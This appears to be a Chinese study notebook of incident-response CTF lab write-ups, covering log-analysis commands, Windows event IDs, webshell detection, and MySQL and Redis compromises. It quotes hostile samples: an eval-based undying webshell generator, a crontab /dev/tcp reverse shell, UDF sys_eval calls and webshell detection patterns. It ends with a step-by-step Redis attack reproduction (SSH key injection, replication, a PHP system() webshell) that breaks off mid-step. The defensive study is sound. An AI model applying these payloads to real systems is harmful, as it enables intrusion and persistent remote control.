玄机的应急响应(会更新)
linux日志分析常用命令组合
一、awk命令系统
基本语法
awk 'pattern {action}' file
核心参数
-F
指定字段分隔符-v
定义变量-f
从文件读取awk脚本
常用内置变量
$0
整行内容$1-$n
第n个字段NF
字段数量NR
当前行号FS
输入字段分隔符OFS
输出字段分隔符
日志审计示例
# 提取特定列
awk '{print $1,$7}' access.log # IP和URL
# 条件过滤
awk '$9 == 404 {print $7}' access.log # 所有404请求的URL
# 统计计算
awk '{sum+=$10; count++} END {print sum/count}' access.log # 平均响应大小
二、uniq命令系统
基本语法
uniq [options] [input [output]]
核心参数
-c
计数重复行-d
只显示重复行-u
只显示唯一行-i
忽略大小写
重要说明
uniq通常需要先sort,因为它只能处理相邻的重复行
日志审计示例
# 统计IP出现次数
cut -d' ' -f1 access.log | sort | uniq -c
# 找出重复的错误信息
grep "ERROR" app.log | sort | uniq -d
# 统计唯一URL数量
awk '{print $7}' access.log | sort | uniq | wc -l
三、wc命令系统
基本语法
wc [options] [file]
核心参数
-l
统计行数-w
统计单词数-c
统计字节数-m
统计字符数
日志审计示例
# 统计日志总行数
wc -l access.log
# 统计错误数量
grep "ERROR" app.log | wc -l
# 统计唯一IP数量
awk '{print $1}' access.log | sort -u | wc -l
四、grep命令系统
基本语法
grep [options] pattern [file]
核心参数
-i
忽略大小写-v
反向匹配-n
显示行号-c
统计匹配行数-A
显示匹配行后的n行-B
显示匹配行前的n行-E
使用扩展正则表达式
日志审计示例
# 查找特定IP
grep "192.168.1.1" access.log
# 统计错误数量
grep -c "ERROR" app.log
# 查找包含"error"或"exception"的行
grep -E "error|exception" app.log
✅ Windows 常见事件 ID 一览表
事件 ID | 类别 | 描述 |
---|---|---|
5058 | 密钥文件操作相关的事件 | 密钥服务解密了一个密钥文件 |
4732 | 账户添加组 | 成员已添加到启用安全的本地组中 |
1074 | 重启、关闭或注销事件 | 由用户、进程或系统管理员启动的系统重启、关闭或注销事件 |
100 | 启动信息 | 通常用于记录应用程序的启动信息 |
4663 | 访问尝试的安全审计事件 | 记录对象访问尝试的安全审计事件,特别是文件和目录的访问尝试 |
4624 | 登录成功 | 用户成功登录(本地/远程/RDP 等) |
4625 | 登录失败 | 登录尝试失败(密码错误、账户不存在等) |
4634 | 注销事件 | 用户会话注销(如关闭 RDP 会话) |
4647 | 主动注销 | 用户主动点击注销 |
4648 | 显式凭据登录 | 使用明文用户名密码尝试登录(如 runas ) |
4675 | 特权服务调用 | 触发系统特权操作 |
4688 | 创建进程 | 启动新进程(PowerShell、cmd、恶意软件) |
4689 | 进程结束 | 进程退出 |
4697 | 安装服务 | 安装系统服务(可能是恶意服务) |
4720 | 新建账户 | 本地账户被创建 |
4722 | 启用账户 | 账户被重新启用 |
4723 | 更改密码 | 用户自己修改密码 |
4724 | 重置密码 | 管理员强制重置他人密码(未验证旧密码) |
4725 | 禁用账户 | 账户被禁用 |
4726 | 删除账户 | 本地账户被删除 |
4732 | 加入组 | 用户被加入本地组(如 Administrators) |
4733 | 移出组 | 用户被从组中移除 |
4719 | 审计策略变更 | Windows 安全审计策略被修改 |
1102 | 清除安全日志 | 安全日志被清空(非常危险) |
4964 | IPsec连接建立 | 系统间建立了 IPsec 安全连接 |
5140 | 访问共享文件 | 用户尝试访问共享文件夹(smb共享) |
5156 | 网络连接允许 | 防火墙允许出入站连接 |
5158 | 网络连接拒绝 | 防火墙拒绝网络连接尝试 |
7036 | 服务状态变化 | 服务已启动、停止或暂停 |
🔄 登录类型编号(配合 4624 / 4625 一起查看)
类型编号 | 登录方式说明 |
---|---|
2 | 本地交互式登录(控制台、键盘) |
3 | 网络登录(如访问共享资源) |
4 | 批处理(计划任务等) |
5 | 服务登录 |
7 | 解锁工作站 |
10 | 远程桌面登录(RDP) |
11 | 使用缓存凭据登录(如离线登录) |
Linux
第一章 应急响应-webshell查杀
总结:目录检索webshell特征文件;哥斯拉;隐藏文件;日志查找可疑文件;D盾判断免杀文件
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
可疑函数调用
WebShell通常会使用一些危险的函数来执行系统命令或代码,如:
PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()
编码和解码
WebShell经常使用编码和解码技术来隐藏其真实意图,如Base64编码:
eval(base64_decode('encoded_string'));
文件操作
WebShell可能会包含文件操作函数,用于读取、写入或修改文件:
PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()
ASP: FileSystemObject
网络操作
WebShell可能会包含网络操作函数,用于与远程服务器通信:
PHP: fsockopen(), curl_exec(), file_get_contents('http://...')
ASP: WinHttp.WinHttpRequest
命令查找:
//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval("
//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"
xargs
:xargs
命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs
将find
命令找到的文件列表作为参数传递给grep
命令
在目录/var/www/html/下有很多php文件
在include文件夹里面发现gz.php,是哥斯拉加密函数,所以这个就是webshell
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
哥斯拉的加密函数特征有:
@session_start(); - 开启一个会话。
@set_time_limit(0); - 设置脚本执行时间为无限。
@error_reporting(0); - 关闭所有错误报告。
根据上面的判断是哥斯拉webshell,直接找到哥斯拉的github项目地址:
https://github.com/BeichenDream/Godzilla
拿去md5得到:39392de3218c333f794befef07ac9257
flag{39392de3218c333f794befef07ac9257}
命令查看所有文件和目录
ls -lha
进入Db目录再继续找,找到.Mysqli.php,所以隐藏shell的路径就是:
/var/www/html/include/Db/.Mysqli.php
md5得到:flag{aebac0e58cd6c5fad1695ee4d1ac1919}
去日志查看,目录:/var/log/apache2/access.log
发现了一个top.php
去对应目录下面查看
动态代码执行
$c = "a"."s".$_GET["func2"]; // 拼接字符串,例如 func2=sort → 得到 "asort"
$c($fun); // 执行动态函数(如 `asort($fun)`,但实际可能是危险函数)
- 风险点:
- 通过
func2
参数控制函数名(如system
、eval
、exec
),直接执行任意代码。 - 攻击者可传入
?func2=system&func=...
执行系统命令。
- 通过
混淆加密
$fun = base64_decode($_GET['func']); // 解码 Base64
for($i=0;$i<strlen($fun);$i++) {
$fun[$i] = $fun[$i]^$key[$i+1&7]; // 异或解密
}
- 风险点:
func
参数传递的是经过 Base64 + 异或加密 的恶意代码,绕过静态检测。- 实际内容可能是
system("whoami")
等恶意指令。
关键函数隐藏
- 使用字符串拼接 (
$a.$s
) 和动态变量 ($c($fun)
) 隐藏真实调用的危险函数(如assert
、eval
)。
所以路径就是:/var/www/html/wap/top.php
md5得到:flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
其实这个把html目录打包之后拿去D盾扫描会发现四个php全给扫描出来了
这个免杀判断就是在你解压缩的时候火绒没有发现这个top.php,而其他三个都被清理掉了
第一章 应急响应-Linux日志分析
总结:日志文件分析爆破ip;过滤“Accepted”关键字来得到成功登录的ip;过滤语法
1.有多少IP在爆破主机ssh的root帐号,如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用","分割
3.爆破用户名字典是什么?如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少
linux的日志文件一般都是在/var/log目录下面,常见的日志文件包括:
/var/log/syslog:记录系统的各种信息和错误
/var/log/auth.log:记录身份验证相关的信息,如登录和认证失败
/var/log/kern.log:记录内核生成的日志信息
/var/log/dmesg:记录系统启动时内核产生的消息
/var/log/boot.log:记录系统启动过程中的消息
/var/log/messages:记录系统的广泛消息,包括启动和应用程序信息
/var/log/secure:记录安全相关的消息
/var/log/httpd/:记录Apache HTTP服务器的访问和错误日志(若安装了Apache)
/var/log/nginx/:记录Nginx服务器的访问和错误日志(若安装了Nginx)
题目要求的是找ssh的root账号,所以要看的就是auth.log文件
一般来说,SSH登录尝试会记录在 /var/log/auth.log.1
(这是固定的)
auth.log
- 当前正在写入的日志文件;
- 包含最新的身份验证事件,如当前用户登录、认证失败、sudo 使用等;
- 路径通常为
/var/log/auth.log
(Debian/Ubuntu 系系中); - 会被系统日志服务(如
rsyslog
)实时更新。
auth.log.1
- 已轮转(archived)的旧日志文件;
- 是
auth.log
被系统通过logrotate
机制轮转之后的第一份备份; - 不再被实时写入,只读存储旧记录;
- 一般保留上一个周期(如上周、上几天)的日志。
会发现有很多,要是一个个找就很麻烦,我们用参数进行过滤
cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
cat auth.log.1
- 作用:读取
auth.log.1
文件的内容并输出到标准输出 - 说明:
auth.log.1
是系统认证日志的归档文件(可能是经过轮替的旧日志),记录了登录、认证相关事件
grep -a "Failed password for root"
- 作用:过滤出包含
"Failed password for root"
的行 - 关键选项:
-a
:将二进制文件视为文本文件处理(避免因日志文件中可能的二进制数据导致意外中断)
- 结果:仅保留 root 账户密码失败的登录尝试记录
awk '{print $11}'
- 作用:提取每行的第 11 个字段(默认以空格分隔)
- 说明:在
auth.log
中,Failed password for root
记录的来源 IP 地址通常位于第 11 字段(具体位置可能因日志格式略有差异,需验证)
sort
- 作用:对提取的 IP 地址进行排序。
- 目的:为后续
uniq -c
统计做准备,因为uniq
要求输入已排序
uniq -c
- 作用:统计连续重复行的出现次数,并输出为
次数 IP
格式
sort -nr
- 作用:按数值降序排序
- 关键选项:
-n
:按数值而非字符串排序-r
:反转结果(降序)
- 结果:攻击最频繁的 IP 地址会排在顶部
more
- 作用:分页显示结果,避免一次性输出大量内容导致刷屏
用于分析 auth.log.1
文件(通常是 Linux 系统的认证日志备份文件),统计针对 root 账户的失败登录尝试及其来源 IP 地址的出现频率,并按次数降序排列
所以是这三个ip在爆破:
flag{192.168.200.2,192.168.200.31,192.168.200.32}
成功登录的那就过滤Accepted
cat auth.log.1 | grep -a "Accepted" | awk '{print $11}' | sort | uniq -c | sort -nr | more
flag{192.168.200.2}
cat auth.log.1 | grep -a "Failed password" |perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
cat auth.log.1
- 作用:读取
auth.log.1
文件的内容并输出到标准输出 - 说明:
auth.log.1
是系统认证日志的归档文件(可能是经过轮替的旧日志),记录了登录、认证相关事件
grep -a "Failed password"
- 作用:过滤出包含
"Failed password"
的行 - 关键选项:
-a
:将二进制文件视为文本文件处理(避免因日志文件中可能的二进制数据导致意外中断)
- 结果:保留所有密码失败的登录尝试记录(不仅仅是
root
账户)
perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'
- 作用:使用 Perl 脚本从每行日志中提取登录用户名
- 解析:
while($_=<>)
:逐行读取输入。/for(.*?) from/
:正则表达式匹配for
和from
之间的内容(即登录用户名).*?
是非贪婪匹配,确保只匹配到第一个from
之前的内容
print "$1\n"
:输出捕获的第一个分组(即用户名)
uniq -c
- 作用:统计连续重复行的出现次数,并输出为
次数 用户名
格式 - 前提:输入需已排序(此处因直接统计未排序,可能需前置
sort
) - 修正建议:应在
uniq -c
前添加sort
,确保统计准确
sort -nr
- 作用:按数值降序排序。
- 关键选项:
-n
:按数值而非字符串排序。-r
:反转结果(降序)。
- 结果:登录失败次数最多的用户名排在顶部。
用于分析 auth.log.1
文件(通常是 Linux 系统的认证日志备份文件),统计所有失败登录尝试(不仅仅是 root
账户)及其对应的用户名,并按出现次数降序排列
可知用户名为:
flag{user,hello,root,test3,test2,test1}
由前面得到的爆破ip加统计次数还有登录成功的ip可以知道是四次
flag{4}
新建用户,可以过滤new
cat auth.log.1 |grep -a "new"
flag{test2}
第一章 应急响应- Linux入侵排查
总结:检索php木马文件;D盾扫描;不死马分析;查看网络状态
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
找木马文件首先想到的就是php文件,我们在根目录找一下
sudo find / -type f -name "*.php"
大致是两个地方,一个是/opt/html下面还有就是/var/www/html下面,去opt下面看了里面并没有发现什么,去var下面发现了1.php
查看发现一句话木马,所以连接密码就是1
flag{1}
可以一起打包下来放进D盾进行扫描
可以发现shell.php也是后门文件,查看:
文件中的恶意部分
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}}?>';
file_put_contents($file, $code);
system('touch -n -d "2021-01-01 00:00:01" .shell.php');
usleep(3000);
- 隐蔽的WebShell生成
-
动态生成一个隐藏的PHP WebShell文件(
.shell.php
),内容为:<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592") { @eval($_POST["cmd"]); // 执行任意PHP代码 } ?>
- 密码保护:通过MD5哈希验证密码(
pass
),避免被其他人随意利用。 - 任意代码执行:通过
eval($_POST["cmd"])
可执行攻击者提交的恶意指令。
- 密码保护:通过MD5哈希验证密码(
- 反检测与反清除
- 隐藏文件:文件名以
.
开头(.shell.php
),在Linux中默认不可见(需ls -a
查看)。 - 修改时间戳:通过
touch -n -d "2021-01-01 00:00:01"
伪造文件创建时间,规避管理员按时间排序查找可疑文件。 - 延迟执行:
usleep(3000)
增加微小延迟,可能用于绕过简单的行为监控。
- 持久化机制
- 每次访问
index.php
时,都会重新生成.shell.php
,即使文件被删除也会恢复(依赖主脚本未被清除)。 - 如果
index.php
是网站入口文件(如首页),攻击者可通过正常访问触发恶意逻辑,无需直接操作服务器。
- 无文件攻击的潜在可能性
- 如果攻击者通过其他方式(如漏洞利用)直接注入代码到
index.php
内存中执行,可能无需落地文件即可维持控制(需结合其他漏洞)。
所以这个文件就是不死马,密码是md5后的5d41402abc4b2a76b9719d911017c592
flag{hello}
通过上一题也可以得出不死马就是通过index.php
文件生成的
flag{index.php}
之前也分析了不死马可以生成一个.shell.php
文件,我们查看所有文件:
可以发现一个shell(1).elf文件,通常elf后缀的文件都是可执行文件,通过之前的分析,这个应该就是黑客通过不死马留下的,我们尝试运行文件发现权限不够所以先提权
chmod 777 "shell(1).elf"
运行:
./'shell(1).elf'
之后的界面没有回显,我们可以再开一个终端界面使用netstat
来查看显示网络连接、路由表、接口统计信息、伪装连接和多播成员信息
netstat -nao
可以发现ip和端口
flag{10.11.55.21}
flag{3333}
第二章日志分析-apache日志分析
总结:过滤爆破ip次数;指纹浏览器;特定页面的访问次数;特定时间段访问次数
账号密码 root apacherizhi
ssh root@IP
1、提交当天访问次数最多的IP,即黑客IP:
2、黑客使用的浏览器指纹是什么,提交指纹的md5:
3、查看包含index.php页面被访问的次数,提交次数:
4、查看黑客IP访问了多少次,提交次数:
5、查看2023年8月03日8时这一个小时内有多少IP访问,提交次数:
看题目知道是要分析apache的日志,一般情况下linux的日志都在/var/log下面
这里转到目录下面可以看到apache2,进去发现access.log.1,这次就是要分析这个日志(上面解释了access.log和access.log.1的区别)
提交当天访问次数最多的IP,即黑客IP
直接统计每个ip的访问次数
awk '{print $1}' access.log.1 | sort | uniq -c | sort -nr
可以知道黑客ip是192.168.200.2
flag{192.168.200.2}
黑客使用的浏览器指纹是什么,提交指纹的md5
浏览器指纹(Browser Fingerprint)是一种识别用户设备的技术,通过收集用户浏览器和设备上的各种信息,组合成一个几乎唯一的标识,从而用于识别、追踪或区分用户,即使用户没有登录账户或使用了隐私模式
我们随便拿一个ip是黑客的记录来看
192.168.200.2 - - [03/Aug/2023:08:46:45 +0000] "GET /id_rsa.pub HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
这里就可以知道浏览器指纹是
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
指纹的关键特点:
- 唯一性:收集到的指纹组合具有高度唯一性,可用于识别个体设备。
- 无需存储数据在用户设备:与 Cookie 不同,指纹不会直接写入本地文件,因此更难被察觉和防范。
- 持久性强:用户即使清除 Cookie、更换 IP、使用隐私模式,也可能依然被识别。
- 合法用途与隐私争议并存:可以用于欺诈检测、会话保持等合法场景,但也存在隐私侵犯的风险。
拿去md5得到
flag{2d6330f380f44ac20f3a02eed0958f66}
查看包含index.php页面被访问的次数,提交次数
这里去仔细看了题目,是:查看包含index.php页面被访问的次数,提交次数:(不包括/xxx/index.php只筛选/index.php)
所以只需要统计路径是/index.php的
awk '$7 == "/index.php"' access.log.1 | wc -l
得到的结果是2,但是我去看其他人的wp写的都是27,应该是只要包含了index.php就算,但是2和27我去上交都说是错的,这里先放着
查看黑客IP访问了多少次,提交次数
这个在第一问就得到了,6555次
flag{6555}
查看2023年8月03日8时这一个小时内有多少IP访问,提交次数
依旧是过滤
awk '$4 ~ /^\[03\/Aug\/2023:08:/ {print $1}' access.log.1 | sort | uniq -c | sort -nr
得到:
6555 192.168.200.2
29 ::1
5 192.168.200.38
1 192.168.200.48
1 192.168.200.211
其中第二个是回环地址,也就是127.0.0.1,所以可以知道有5个ip访问
flag{5}
第二章日志分析-mysql应急响应
总结:php文件查找;日志文件找反弹shell的ip;UDF提权;mysql的账号密码查找;用户自定义函数;mysql的secure_file_priv字段
mysql应急响应 ssh账号 root 密码 xjmysql
ssh env.xj.edisec.net -p xxxxx
1.黑客第一次写入的shell flag{关键字符串}
2.黑客反弹shell的ip flag{ip}
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
4.黑客获取的权限 flag{whoami后的值}
黑客第一次写入的shell flag
shell一般可以在/var/www/html目录下面找到,我们查看里面有什么文件,可以用命令过滤eval关键字来找,也可以一个个看
这里在sh.php文件找到了一句话木马
那么这个就是黑客写入的shell,关键字符串就是ccfda79e-7aa1-4275-bc26-a6189eb9a20b
flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}
黑客反弹shell的ip flag
这个想着就是去mysql的日志里面找,在/var/log/mysql下面的error.log文件
sh: 1: curl: not found
--2023-08-01 02:14:11-- http://192.168.100.13:771/
Connecting to 192.168.100.13:771... connected.
HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0.9
Length: unspecified
Saving to: 'index.html'
看关键的地方,这里说明黑客在MySQL中执行了系统命令curl
下载了一个文件
http://192.168.100.13:771/
这正是黑客主机IP,反弹或下载shell时使用
flag{192.168.100.13}
黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
什么是UDF提权?
UDF = User Defined Function(用户自定义函数)
MySQL允许用户通过共享库(.so
/ .dll
文件)扩展自己的函数(UDF函数),这些函数可以在SQL语句中像内置函数一样调用。
如果黑客能上传并注册恶意UDF,就能执行系统命令,例如:
select sys_exec('id');
最终实现 数据库用户→系统(root)的提权。
UDF提权的原理?
- 编写恶意的 UDF(.so) 文件
- 如
lib_mysqludf_sys.so
,可提供执行系统命令的功能。
- 如
- 利用 MySQL 的
CREATE FUNCTION
命令将这个.so
文件注册为数据库函数。 - 在SQL语句里执行这个函数,实现系统命令执行(RCE)。
UDF提权需要哪些条件?
条件 | 说明 |
---|---|
1. FILE 权限 | 用户必须有FILE 权限,才能利用SELECT ... INTO DUMPFILE 向磁盘写.so 文件。 |
2. 插件路径可写 | 插件目录(通常 /usr/lib/mysql/plugin/ 或 /usr/lib64/mysql/plugin/ )必须是可写的。 |
3. MySQL运行用户(如mysql)具有足够的系统权限 | 执行UDF命令时,实际是由MySQL进程所在的系统用户(通常是mysql 用户)执行。 |
4. 安全配置未限制 UDF 功能 | 如新版MySQL禁用了某些UDF动态加载,需要绕过或找低版本。 |
既然要提权,那黑客肯定知晓了账号密码,而且连接上了,那么我们可以猜想,是不是web目录下有页面泄露了mysql账号密码,回到web目录
find ./ -name "*.php" | xargs grep "root"
find ./ -name "*.php"
- 在当前目录及子目录中查找所有 以
.php
结尾的文件。 ./
表示从当前路径开始。-name "*.php"
只匹配文件名后缀为.php
的文件。
|
(管道符)
- 将
find
命令的结果(即找到的PHP文件列表)传递给后面的命令。
xargs grep "root"
- 把
find
找到的文件名逐个交给grep "root"
执行: - 对每一个
.php
文件执行:
grep "root" 文件名
- 也就是在这些 PHP 文件中查找包含“root”字符串的行。
找到
./common.php:$conn=mysqli_connect("localhost","root","334cc35b3c704593","cms","3306");
可以知道数据库的账号和密码,连接:
mysql -uroot -p334cc35b3c704593
show global variables like '%secure%';
查询当前MySQL全局变量中所有名字包含 "secure" 的变量及其值
查到secure_file_priv字段为空,具有写入权限
一般进行了提权,一定会在/usr/lib/mysql/plugin/目录下留下痕迹
来到此目录
这个目录是mysql存放用户自定义函数的,出现了一个udf.so文件,肯定是有人写入了一个自定义函数到库中
通过md5加密/usr/lib/mysql/plugin/udf.so得到flag
flag{b1818bde4e310f3d23f1005185b973e7}
黑客获取的权限 flag
既然hacker进行了提权,在库中写入了自定义函数,我们去数据库中查询一下
select * from mysql_func;
mysql.func
是什么?
- 系统表:位于
mysql
系统数据库中。 - 作用:记录数据库中被定义的所有自定义函数(UDF, User Defined Function)信息。
- 表结构 大概如下:
name | ret | dl | type |
---|---|---|---|
函数名 | 返回类型 | 动态库路径 | 函数类型 |
攻击者上传了 mysqludf.so
这个库
成功在MySQL中创建了一个叫 sys_eval
的函数
任何人拥有SQL执行权限都可以用:
SELECT sys_eval('命令');
来执行任意系统命令(如反弹Shell、删除文件、安装后门)
执行:
SELECT sys_eval('whoami');
得到flag{mysql}
参考:【玄机靶场】第二章日志分析-mysql应急响应-CSDN博客
第二章日志分析-redis应急响应
总结:redis数据库;redis的未授权访问;redis的主从复制;沙箱分析;计划任务;利用公私钥进行ssh连接;github查找公钥用户名;linux可执行命令目录/usr/bin
服务器场景操作系统 Linux
服务器账号密码 root xjredis
什么是redis
Redis(Remote Dictionary Server,远程字典服务)
👉 本质是一个开源的内存型 Key-Value 数据库,也就是:
键(key) ----> 值(value)
举个最简单例子:
set name "anaxa"
get name
返回:
"anaxa"
可以看作是超快的内存数据仓库,被大量用于:
- 网站缓存(例如保存用户登录状态)
- 队列系统
- 数据临时存储
- Session 共享
- 计数器(比如点赞数)
- 甚至聊天应用的消息临时保存
Redis 特点:
特点 | 说明 |
---|---|
纯内存存储 | 所有数据存在内存里,速度非常快 |
Key-Value 结构 | 使用键值对方式存储 |
支持多种数据结构 | String、List、Set、ZSet、Hash |
可持久化 | 可定期保存到磁盘(RDB/AOF) |
单线程 | 核心为单线程事件处理机制 |
关于Redis的攻击手法有
- redis未授权访问漏洞
- 利用redis写webshell
- 利用“公私钥” 认证获取root权限
- 利用crontab反弹shell
黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
我们来到日志目录下面看redis的日志,/var/log/redis.log
发现redis版本是5.0.1,而redis的未授权访问漏洞的影响范围是在Redis <=5.0.5的,可以猜测未授权登录
来到redis的配置目录下面看配置文件,搜关键字符串requirepass
发现设置 Redis 服务器的访问密码为:foobared
,但是是注释的,所以是没有设置密码的,黑客是可以进行未授权登录的
继续看redis.log,发现可疑部分:
主从复制相关:
REPLICAOF 192.168.x.x:8888 enabled
Connecting to MASTER 192.168.x.x:8888
MASTER <-> REPLICA sync started
Redis被设置为从服务器(Replica),去连接一个外部IP的Redis主服务器
爆破后上传恶意模块成功
Module 'system' loaded from ./exp.so
攻击者通过主从复制+恶意so文件(exp.so)植入了后门模块
这类模块允许执行系统命令,如 id
, whoami
, bash reverse shell
等
所以可以知道黑客的ip就是192.168.100.20
flag{192.168.100.20}
黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;
从上一个题目的分析可以知道exp.so文件就是攻击者通过主从复制得到的文件
getshell,可以提取字符串过滤flag
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}
黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;
查看计划任务:
➜ crontab -l
# Edit this file to introduce tasks to be run by cron.
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# For more information see the manual pages of crontab(5) and cron(8)
*/1 * * * * /bin/sh -i >& /dev/tcp/192.168.100.13/7777 0>&1
# m h dom mon dow command
发现计划任务里反弹shell的ip为192.168.100.13
flag{192.168.100.13}
黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交
这里看auth.log.1日志其实能发现有ip往里面写了公钥,可以联想到ssh公钥登录
攻击者redis连接上主机之后把自己的公钥写入/root/.ssh目录下,然后设置 Redis 数据持久化文件(RDB 文件)的保存目录为 /root/.ssh/,把 RDB 文件(Redis持久化文件)的名字改为 authorized_keys
查看一下靶机的/root/.ssh,确实有一个被写入的公钥authorized_keys
用户名是xj-test-user,去github找(这真想不到吧
flag{xj-test-user-wow-you-find-flag}
黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;
/usr/bin/
系统中绝大多数用户级应用程序的主程序文件(可执行程序)都在这里
查看ps
可以看到这不是系统自带的ps命令,该脚本被用来替代了系统原有的ps
命令,使用ps_ $1 $2 $3
调用一个未知的命令或脚本(ps_
),并将传递给ps
命令的参数转发给它。然后,通过管道将输出传递给grep -v 'threadd'
,过滤掉包含字符串'threadd'的行,说明ps命令被篡改了
flag{c195i2923381905517d818e313792d196}
参考:玄机-第二章 日志分析-redis应急响应_第二章日志分析-redis应急响应-CSDN博客
第二章日志分析-redis应急响应 - Fxe0_0 - 博客园
攻击复现
一、靶机(CentOS 7)配置 Redis
1. 安装 Redis
在 CentOS 7 上执行:
yum install epel-release -y
yum install redis -y
2. 修改 Redis 配置文件
编辑:
vi /etc/redis.conf
改以下几项:
bind 0.0.0.0 # 允许外网访问
protected-mode no # 关闭保护模式
保存退出。
3. 启动 Redis
systemctl start redis #启动
systemctl enable redis #让Redis服务开机自动启动
确认运行:
netstat -anp | grep 6379
二、攻击机(Kali)进行未授权访问检查
在 Kali:
redis-cli -h 靶机IP -p 6379
能连上就是未授权(没密码)
需要关闭防火墙
sudo systemctl stop firewalld
三、写入 SSH 公钥(免密码 root 登录)
1. Kali 生成密钥:
ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub
复制完整公钥(长长一串,以 ssh-rsa
开头)
2. Kali 利用 Redis 写入公钥:
redis-cli -h 靶机IP -p 6379
命令 | 说明 |
---|---|
redis-cli |
本地连接 127.0.0.1:6379(默认) |
redis-cli -h IP -p PORT |
远程连接指定 Redis 服务器 |
redis-cli -h 192.168.254.133 -p 6379 ping |
连接后立刻执行 ping 命令,测试是否响应(应返回 PONG ) |
redis-cli -h 192.168.254.133 -p 6379 shutdown |
远程关闭 Redis(前提是有足够权限) |
执行:
set ssh "\n\nssh-rsa AAAAB3Nza...(你的完整公钥)...==\n\n"
#在 Redis 内部新建一个名为ssh的键
值就是一个换行包裹的SSH公钥
这个公钥对应攻击者的私钥,后续攻击者可直接通过私钥SSH登录目标服务器的root用户
把公钥存到 Redis 里,准备后续写到 /root/.ssh/authorized_keys 文件里
config set dir /root/.ssh/
#设置 Redis 数据持久化文件(RDB 文件)的保存目录为 /root/.ssh/
/root/.ssh/ 是 Linux 下 root 用户的 SSH 公钥存放目录
让 Redis 后续保存的数据库文件(dump.rdb)能“写”到root的.ssh文件夹里
config set dbfilename "authorized_keys"
#把 RDB 文件(Redis持久化文件)的名字改为 authorized_keys
也就是说,Redis 下次执行 save 命令时,会把数据库保存成 /root/.ssh/authorized_keys 这个文件
正好覆盖 root 用户 SSH 授权公钥文件,插入攻击者自己的公钥
save
写入的时候发现权限不够
redis必须要是root权限才能执行写入,要复现的话靶机必须要是root来启动redis(真实情况下千万别这样)
停止 Redis:
sudo systemctl stop redis
以 root 权限手动启动 Redis:
sudo redis-server /etc/redis.conf
之后再进行之前的命令
成功了
3. Kali SSH 登录靶机:
ssh -i ~/.ssh/id_rsa root@靶机IP
免密码直接 root 登录,完成提权!
四、主从复制
攻击者
连接
redis-server --port 8888 --dir /tmp --dbfilename dump.rdb
- 启动一个 Redis 服务器实例
- 监听端口:8888(默认是6379,这里改成8888)
- 数据存储目录:/tmp(Redis保存数据文件的位置)
- 数据文件名:dump.rdb(Redis的默认数据快照文件名)
作用:在你的机器(通常是攻击者的Kali)启动一个专门的Redis服务器,准备被靶机作为主服务器连接,从而进行主从复制(攻击用)
重新开个终端界面
redis-cli -h 靶机ip -p 6379
连接靶机的redis
slaveof 攻击者ip 8888
让靶机 Redis 把自己设置成你的 Redis 服务器的从服务器
会开始主从复制,数据会从你控制的 Redis 服务器同步过去
这里我们查看靶机的redis.log日志就可以看到攻击者的ip
所以上面的题目看到的那个ip就是黑客的ip
利用主从复制写文件(写 webshell 或写定时任务)
攻击者 Kali 的 Redis-cli(端口8888)输入:
set webshell "<?php system(\$_GET['cmd']); ?>"
